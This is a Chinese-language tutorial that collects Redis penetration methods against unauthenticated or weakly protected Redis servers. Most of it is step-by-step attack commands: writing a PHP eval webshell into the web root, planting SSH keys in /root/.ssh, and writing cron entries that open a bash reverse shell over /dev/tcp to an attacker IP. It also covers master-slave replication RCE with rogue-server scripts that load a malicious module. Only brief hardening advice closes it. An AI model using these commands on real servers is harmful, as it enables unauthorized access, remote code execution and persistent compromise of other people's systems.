Redis渗透方法汇总
字数 1196 2025-08-09 19:58:05
Redis渗透方法汇总
0x01 Redis简介
Redis(REmote DIctionary Server)是一个开源的、基于内存的键值存储系统,由Salvatore Sanfilippo开发。主要特点:
- 使用ANSI C语言编写,支持多种数据结构(String, Hash, List, Set, Sorted Set)
- 高性能,数据可持久化
- 支持主从复制和集群
- 默认端口:6379(Sentinel配置端口为26379)
- 最新稳定版本:6.2(文档演示使用3.2.0版本)
0x02 未授权访问漏洞
漏洞原理
- 配置不当导致:
- 任意机器都可以登录Redis(注释掉bind 127.0.0.1)
- 未设置密码或使用弱口令
环境搭建
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
配置修改
- 注释掉
bind 127.0.0.1 - 设置
protected-mode no关闭安全模式
启动Redis
cp redis.conf ./src/redis.conf
./src/redis-server redis.conf
连接Redis
./redis-cli -h {host} -p {port} [-a {password}]
常用命令
info- 查看信息flushall- 删除所有数据库内容keys *- 查看所有键set test "value"- 设置变量config set dir /path- 设置路径config get dir- 获取路径信息save- 保存数据
0x03 Redis写入Webshell
攻击步骤
- 切换目录到网站根目录:
config set dir /var/www/html - 写入恶意代码:
set x "\n\n\n<?php phpinfo();?>\n\n\n" set xx "\n\n\n<?php @eval($_POST['1']);?>\n\n\n" - 设置文件名并保存:
config set dbfilename a001.php save
验证Webshell
- 访问写入的PHP文件
- 使用蚁剑等工具连接一句话木马
0x04 Redis密钥登录SSH
攻击步骤
- 设置Redis密码:
config set requirepass a001 - 生成SSH密钥对:
ssh-keygen -t rsa - 将公钥写入Redis:
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | ./redis-cli -h 192.168.175.162 -a a001 -x set xxxx - 设置导出路径和文件名:
config set dir /root/.ssh config set dbfilename authorized_keys save - 使用私钥SSH登录:
ssh -i id_rsa root@192.168.175.162
0x05 利用计划任务反弹Shell
方法一:直接写入
- 设置反弹Shell命令:
(*代表计划任务执行时间)set xx "\n*bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n" - 设置导出路径和文件名:
config set dir /var/spool/cron/ config set dbfilename root save
方法二:使用管道
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.175.161/9999 0>&1\n\n" | \
./redis-cli -h 192.168.175.162 -a a001 -x set 1
./redis-cli -h 192.168.175.162 -a a001 config set dir /var/spool/cron/
./redis-cli -h 192.168.175.162 -a a001 config set dbfilename root
./redis-cli -h 192.168.175.162 -a a001 save
0x06 利用主从复制RCE
适用版本
Redis 4.x、5.x
攻击原理
攻击者作为主服务器,将恶意so文件同步到目标从服务器,实现远程命令执行。
攻击步骤
-
下载利用脚本:
- redis-rogue-server(未授权)
- Awsome-Redis-Rogue-Server(有密码)
-
执行攻击:
python3 redis_rogue_server.py -rhost 192.168.175.162 -lhost 192.168.175.161 -passwd a002选择:
i:直接获取shellr:反弹shell
-
获取交互式shell:
python3 -c "import pty;pty.spawn('/bin/bash')"
0x07 本地Redis主从复制RCE反弹Shell
适用场景
目标仅允许本地登录Redis时
攻击步骤
- 攻击机启动主服务器:
python3 redis_rogue_server.py -v -path exp.so - 目标机执行:
config set dir /tmp config set dbfilename exp.so slaveof 192.168.175.161 15000 slaveof NO ONE module load ./exp.so - 执行命令:
system.rev 192.168.175.161 9999 # 反弹shell system.exec "id" # 执行命令
防御建议
- 设置强密码认证
- 绑定指定IP访问(不要注释bind 127.0.0.1)
- 启用保护模式(protected-mode yes)
- 限制高危命令(rename-command FLUSHALL "")
- 使用防火墙限制访问
- 及时更新Redis版本
- 不以root权限运行Redis服务